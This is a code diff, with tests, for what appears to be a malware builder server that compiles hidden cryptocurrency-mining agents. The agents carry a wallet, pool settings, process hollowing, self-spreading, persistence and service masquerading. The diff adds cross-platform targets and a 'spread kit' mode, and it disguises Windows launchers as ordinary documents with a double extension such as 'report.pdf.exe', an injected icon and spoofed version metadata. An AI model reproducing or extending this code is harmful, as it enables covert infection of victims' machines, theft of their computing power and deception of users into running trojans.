launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
ldflags := ldflagsFor(req, platform)
|
||||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
// Force GUI subsystem (no console window) for all fusion runners
|
||||||
|
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||||
|
ldflags += " -H windowsgui"
|
||||||
|
}
|
||||||
|
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
_ = setHiddenFile(encryptedPath)
|
|
||||||
|
|
||||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||||
return nil, err
|
if platform.GOOS == "windows" && kind != "exe" {
|
||||||
|
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||||
|
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||||
|
// Non-fatal — runner still works without the disguise
|
||||||
|
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return &fusionBuildResult{
|
return &fusionBuildResult{
|
||||||
LauncherPath: launcherPath,
|
LauncherPath: launcherPath,
|
||||||
MediaName: mediaName,
|
MediaName: mediaName,
|
||||||
EncryptedPath: encryptedPath,
|
|
||||||
ShortcutPath: shortcutPath,
|
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
assetsDir := filepath.Join(fusionDir, "assets")
|
|
||||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
if outputName == "" {
|
|
||||||
outputName = filepath.Base(prepPath)
|
|
||||||
}
|
|
||||||
if outputName == "" {
|
|
||||||
outputName = "prep.exe"
|
|
||||||
}
|
|
||||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
||||||
outputName += ".exe"
|
|
||||||
}
|
|
||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
|
||||||
|
|
||||||
ldflags := fusionLdflags(prepPath)
|
|
||||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
return outputPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
|||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||||
|
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||||
} {
|
} {
|
||||||
src := filepath.Join(fusionSrc, name)
|
src := filepath.Join(fusionSrc, name)
|
||||||
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func disguiseVideoExeName(mediaName string) string {
|
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
//
|
||||||
if base == "" {
|
// On Windows, non-exe payloads use the double-extension trick:
|
||||||
base = "movie"
|
//
|
||||||
}
|
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||||
ext := filepath.Ext(mediaName)
|
//
|
||||||
if ext == "" {
|
// When Windows hides known file extensions (the OS default), the user sees
|
||||||
ext = ".mkv"
|
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||||
}
|
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||||
return sanitizeFileName(base + ext + ".exe")
|
//
|
||||||
}
|
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||||
|
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||||
func runnerNameForMedia(mediaName string) string {
|
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||||
|
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||||
if base == "" {
|
if base == "" {
|
||||||
base = "movie"
|
base = "runner"
|
||||||
}
|
}
|
||||||
return sanitizeFileName(base + "-runner.exe")
|
if platform.GOOS == "windows" {
|
||||||
|
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||||
|
return disguisedRunnerName(mediaName)
|
||||||
|
}
|
||||||
|
// Linux / macOS: simple "-runner" name, no double extension
|
||||||
|
name := sanitizeFileName(base + "-runner")
|
||||||
|
_ = ext // extension not needed for Unix names
|
||||||
|
if platform.Ext != "" {
|
||||||
|
return name + platform.Ext
|
||||||
|
}
|
||||||
|
return name
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||||
return sanitizeDirName(s)
|
return sanitizeDirName(s)
|
||||||
|
|||||||
@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
|
||||||
|
// Only files with no extension at all are rejected.
|
||||||
|
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
|
||||||
|
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
|
||||||
h := &Handler{dataDir: t.TempDir()}
|
h := &Handler{dataDir: t.TempDir()}
|
||||||
body := &bytes.Buffer{}
|
body := &bytes.Buffer{}
|
||||||
w := multipart.NewWriter(body)
|
w := multipart.NewWriter(body)
|
||||||
partHeader := make(textproto.MIMEHeader)
|
partHeader := make(textproto.MIMEHeader)
|
||||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
|
||||||
|
part, _ := w.CreatePart(partHeader)
|
||||||
|
_, _ = part.Write([]byte("x"))
|
||||||
|
w.Close()
|
||||||
|
r := multipart.NewReader(body, w.Boundary())
|
||||||
|
form, _ := r.ReadForm(10 << 20)
|
||||||
|
f, _ := form.File["prep_exe"][0].Open()
|
||||||
|
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||||
|
f.Close()
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
|
||||||
|
} else {
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
|
||||||
|
h := &Handler{dataDir: t.TempDir()}
|
||||||
|
body := &bytes.Buffer{}
|
||||||
|
w := multipart.NewWriter(body)
|
||||||
|
partHeader := make(textproto.MIMEHeader)
|
||||||
|
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
|
||||||
part, _ := w.CreatePart(partHeader)
|
part, _ := w.CreatePart(partHeader)
|
||||||
_, _ = part.Write([]byte("x"))
|
_, _ = part.Write([]byte("x"))
|
||||||
w.Close()
|
w.Close()
|
||||||
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
|||||||
defer f.Close()
|
defer f.Close()
|
||||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||||
if err == nil {
|
if err == nil {
|
||||||
t.Fatal("expected error for .txt upload")
|
t.Fatal("expected error for file with no extension")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -70,6 +70,11 @@ type BuildRequest struct {
|
|||||||
ProcessHollowing bool `json:"process_hollowing"`
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
MeshP2P bool `json:"mesh_p2p"`
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
AutoSpread bool `json:"auto_spread"`
|
AutoSpread bool `json:"auto_spread"`
|
||||||
|
HolePunch bool `json:"hole_punch"`
|
||||||
|
RemoteAggressive bool `json:"remote_aggressive"`
|
||||||
|
TargetOS string `json:"target_os"`
|
||||||
|
TargetArch string `json:"target_arch"`
|
||||||
|
SpreadKit bool `json:"spread_kit"`
|
||||||
Obfuscate bool `json:"obfuscate"`
|
Obfuscate bool `json:"obfuscate"`
|
||||||
SignBuild bool `json:"sign_build"`
|
SignBuild bool `json:"sign_build"`
|
||||||
}
|
}
|
||||||
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
if req.FusionEnabled && prepPath == "" {
|
if req.FusionEnabled && prepPath == "" {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
// FusionOutputName will be derived from the payload filename if not set
|
||||||
req.FusionOutputName = "prep.exe"
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||||
if !resp.Success {
|
if !resp.Success {
|
||||||
writeJSON(w, status, resp)
|
writeJSON(w, status, resp)
|
||||||
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||||
|
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||||
|
return h.buildUniversalAgent(req, prepPath)
|
||||||
|
}
|
||||||
|
|
||||||
buildID := uuid.New().String()
|
buildID := uuid.New().String()
|
||||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||||
agentDir := filepath.Join(buildDir, "agent")
|
agentDir := filepath.Join(buildDir, "agent")
|
||||||
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
|
||||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
platforms := platformsForRequest(req)
|
||||||
if req.FusionEnabled {
|
p := platforms[0]
|
||||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||||
}
|
|
||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
|
||||||
|
|
||||||
ldflags := "-s -w"
|
|
||||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
|
||||||
ldflags += " -H windowsgui"
|
|
||||||
}
|
|
||||||
|
|
||||||
extra, err := injectPolymorph(agentDir, buildID)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[Forge] polymorph inject: %v", err)
|
|
||||||
} else {
|
|
||||||
ldflags += extra
|
|
||||||
}
|
|
||||||
|
|
||||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
|
||||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
|
||||||
log.Printf("Build failed: %v", err)
|
log.Printf("Build failed: %v", err)
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||||
|
workerName := filepath.Base(outputPath)
|
||||||
finalPath := outputPath
|
finalPath := outputPath
|
||||||
finalName := workerName
|
finalName := workerName
|
||||||
var fusionEnabled bool
|
var fusionEnabled bool
|
||||||
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
if exportLabel == "" {
|
if exportLabel == "" {
|
||||||
exportLabel = filepath.Base(prepPath)
|
exportLabel = filepath.Base(prepPath)
|
||||||
}
|
}
|
||||||
if req.FusionPayloadKind != "video" {
|
|
||||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
|
||||||
}
|
|
||||||
arts := map[string]string{finalName: finalPath}
|
arts := map[string]string{finalName: finalPath}
|
||||||
for _, ex := range extraArtifacts {
|
for _, ex := range extraArtifacts {
|
||||||
arts[ex.FileName] = ex.FilePath
|
arts[ex.FileName] = ex.FilePath
|
||||||
}
|
}
|
||||||
|
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||||||
|
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||||||
|
// user to place the file themselves.
|
||||||
|
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||||||
|
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||||||
|
}
|
||||||
subdir := fusionExportSubdir(req, exportLabel)
|
subdir := fusionExportSubdir(req, exportLabel)
|
||||||
readme := fusionReadmeInfo{
|
readme := fusionReadmeInfo{
|
||||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||||
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Normalise platform tag for easy lookup by /get endpoint
|
||||||
|
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||||
|
if recordPlatform == "" {
|
||||||
|
recordPlatform = "windows"
|
||||||
|
}
|
||||||
|
|
||||||
buildRecord := &models.BuildRecord{
|
buildRecord := &models.BuildRecord{
|
||||||
ID: buildID,
|
ID: buildID,
|
||||||
WorkerName: req.WorkerName,
|
WorkerName: req.WorkerName,
|
||||||
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
Wallet: req.Wallet,
|
Wallet: req.Wallet,
|
||||||
Threads: req.Threads,
|
Threads: req.Threads,
|
||||||
FileSize: fileInfo.Size(),
|
FileSize: fileInfo.Size(),
|
||||||
|
BundleSize: bundleSize,
|
||||||
FilePath: absPath,
|
FilePath: absPath,
|
||||||
|
Platform: recordPlatform,
|
||||||
CreatedAt: time.Now(),
|
CreatedAt: time.Now(),
|
||||||
PoolHost: req.PoolHost,
|
PoolHost: req.PoolHost,
|
||||||
PoolPort: req.PoolPort,
|
PoolPort: req.PoolPort,
|
||||||
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
req.AIModel = "llama3.2"
|
req.AIModel = "llama3.2"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(req.TargetOS) == "" {
|
||||||
|
req.TargetOS = "windows"
|
||||||
|
}
|
||||||
|
if req.SpreadKit {
|
||||||
|
req.FusionEnabled = false
|
||||||
|
req.TargetOS = "universal"
|
||||||
|
if req.RunAs == "" || req.RunAs == "user" {
|
||||||
|
req.RunAs = "scheduled"
|
||||||
|
}
|
||||||
|
req.Persistence = true
|
||||||
|
req.AutoStart = true
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
|||||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||||
}
|
}
|
||||||
if !isFusionPayloadExt(baseName) {
|
if !isFusionPayloadExt(baseName) {
|
||||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||||||
}
|
}
|
||||||
|
|
||||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||||
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
|||||||
return dest, cleanup, nil
|
return dest, cleanup, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||||||
|
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||||||
func isFusionPayloadExt(name string) bool {
|
func isFusionPayloadExt(name string) bool {
|
||||||
switch strings.ToLower(filepath.Ext(name)) {
|
ext := strings.ToLower(filepath.Ext(name))
|
||||||
case ".exe", ".mp4", ".mkv", ".mov":
|
return ext != "" && ext != "."
|
||||||
return true
|
|
||||||
default:
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||||
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
return BuiltinConfig{
|
return BuiltinConfig{
|
||||||
WorkerName: %q,
|
WorkerName: %q,
|
||||||
ServerURL: %q,
|
ServerURL: %q,
|
||||||
BackupServerURLs: %s,
|
|
||||||
Wallet: %q,
|
Wallet: %q,
|
||||||
Threads: %d,
|
Threads: %d,
|
||||||
ThreadMode: %q,
|
ThreadMode: %q,
|
||||||
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ProcessHollowing: %v,
|
ProcessHollowing: %v,
|
||||||
MeshP2P: %v,
|
MeshP2P: %v,
|
||||||
AutoSpread: %v,
|
AutoSpread: %v,
|
||||||
|
HolePunch: %v,
|
||||||
|
RemoteAggressive: %v,
|
||||||
|
BackupServerURLs: %s,
|
||||||
ServiceMasquerade: %v,
|
ServiceMasquerade: %v,
|
||||||
ServiceName: %q,
|
ServiceName: %q,
|
||||||
ServiceDonor: %q,
|
ServiceDonor: %q,
|
||||||
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||||
req.WorkerName,
|
req.WorkerName,
|
||||||
req.ServerURL,
|
req.ServerURL,
|
||||||
formatGoStringSlice(req.BackupServerURLs),
|
|
||||||
req.Wallet,
|
req.Wallet,
|
||||||
req.Threads,
|
req.Threads,
|
||||||
req.ThreadMode,
|
req.ThreadMode,
|
||||||
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.ProcessHollowing,
|
req.ProcessHollowing,
|
||||||
req.MeshP2P,
|
req.MeshP2P,
|
||||||
req.AutoSpread,
|
req.AutoSpread,
|
||||||
|
req.HolePunch,
|
||||||
|
req.RemoteAggressive,
|
||||||
|
formatGoStringSlice(req.BackupServerURLs),
|
||||||
serviceMasqueradeEnabled(req),
|
serviceMasqueradeEnabled(req),
|
||||||
serviceMasqueradeName(buildID, req),
|
serviceMasqueradeName(buildID, req),
|
||||||
serviceMasqueradeDonor(buildID, req),
|
serviceMasqueradeDonor(buildID, req),
|
||||||
|
|||||||
75
server/internal/builder/platform.go
Normal file
75
server/internal/builder/platform.go
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// BuildPlatform identifies a GOOS/GOARCH compile target.
|
||||||
|
type BuildPlatform struct {
|
||||||
|
GOOS string
|
||||||
|
GOARCH string
|
||||||
|
Ext string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p BuildPlatform) Label() string {
|
||||||
|
return p.GOOS + "-" + p.GOARCH
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p BuildPlatform) BinDir() string {
|
||||||
|
return "bin/" + p.Label()
|
||||||
|
}
|
||||||
|
|
||||||
|
var defaultPlatforms = []BuildPlatform{
|
||||||
|
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
|
||||||
|
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
|
||||||
|
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
|
||||||
|
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
|
||||||
|
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
|
||||||
|
}
|
||||||
|
|
||||||
|
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||||
|
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||||
|
if target == "" || target == "windows" {
|
||||||
|
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||||
|
}
|
||||||
|
if target == "linux" {
|
||||||
|
arch := req.TargetArch
|
||||||
|
if arch == "" {
|
||||||
|
arch = "amd64"
|
||||||
|
}
|
||||||
|
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
|
||||||
|
}
|
||||||
|
if target == "darwin" {
|
||||||
|
arch := req.TargetArch
|
||||||
|
if arch == "" {
|
||||||
|
arch = "arm64"
|
||||||
|
}
|
||||||
|
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
|
||||||
|
}
|
||||||
|
if target == "universal" {
|
||||||
|
if req.TargetArch != "" && req.TargetArch != "all" {
|
||||||
|
for _, p := range defaultPlatforms {
|
||||||
|
if p.GOARCH == req.TargetArch {
|
||||||
|
return []BuildPlatform{p}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return append([]BuildPlatform{}, defaultPlatforms...)
|
||||||
|
}
|
||||||
|
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||||
|
}
|
||||||
|
|
||||||
|
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
|
||||||
|
base := sanitizeFileName(worker)
|
||||||
|
if fusion {
|
||||||
|
return "worker-" + base + p.Ext
|
||||||
|
}
|
||||||
|
return "install-" + base + p.Ext
|
||||||
|
}
|
||||||
|
|
||||||
|
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
|
||||||
|
ldflags := "-s -w"
|
||||||
|
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
|
||||||
|
if p.GOOS == "windows" && gui {
|
||||||
|
ldflags += " -H windowsgui"
|
||||||
|
}
|
||||||
|
return ldflags
|
||||||
|
}
|
||||||
77
server/internal/builder/platform_test.go
Normal file
77
server/internal/builder/platform_test.go
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"go/parser"
|
||||||
|
"go/token"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||||
|
req := &BuildRequest{TargetOS: ""}
|
||||||
|
ps := platformsForRequest(req)
|
||||||
|
if len(ps) != 1 || ps[0].GOOS != "windows" {
|
||||||
|
t.Fatalf("expected single windows platform, got %+v", ps)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPlatformsForRequestLinux(t *testing.T) {
|
||||||
|
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
|
||||||
|
ps := platformsForRequest(req)
|
||||||
|
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||||
|
t.Fatalf("expected linux/arm64, got %+v", ps)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPlatformsForRequestUniversal(t *testing.T) {
|
||||||
|
req := &BuildRequest{TargetOS: "universal"}
|
||||||
|
ps := platformsForRequest(req)
|
||||||
|
if len(ps) != len(defaultPlatforms) {
|
||||||
|
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
|
||||||
|
}
|
||||||
|
if len(ps) < 5 {
|
||||||
|
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
|
||||||
|
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
|
||||||
|
func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "test",
|
||||||
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
|
Wallet: "4TEST",
|
||||||
|
Threads: 4,
|
||||||
|
ThreadMode: "percent",
|
||||||
|
ThreadPercent: 75,
|
||||||
|
PoolHost: "pool.supportxmr.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
PoolPass: "x",
|
||||||
|
RunAs: "scheduled",
|
||||||
|
InstallBase: "localappdata",
|
||||||
|
}
|
||||||
|
src := h.generateBuiltinConfig("test-build-id", req)
|
||||||
|
fset := token.NewFileSet()
|
||||||
|
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
|
||||||
|
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
|
||||||
|
}
|
||||||
|
if !strings.Contains(src, "ServiceMasquerade") {
|
||||||
|
t.Error("expected ServiceMasquerade field in generated config")
|
||||||
|
}
|
||||||
|
if !strings.Contains(src, "BackupServerURLs") {
|
||||||
|
t.Error("expected BackupServerURLs field in generated config")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLdflagsForWindowsGUI(t *testing.T) {
|
||||||
|
req := &BuildRequest{StealthMode: true}
|
||||||
|
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||||
|
if !strings.Contains(ld, "windowsgui") {
|
||||||
|
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
|
||||||
|
}
|
||||||
|
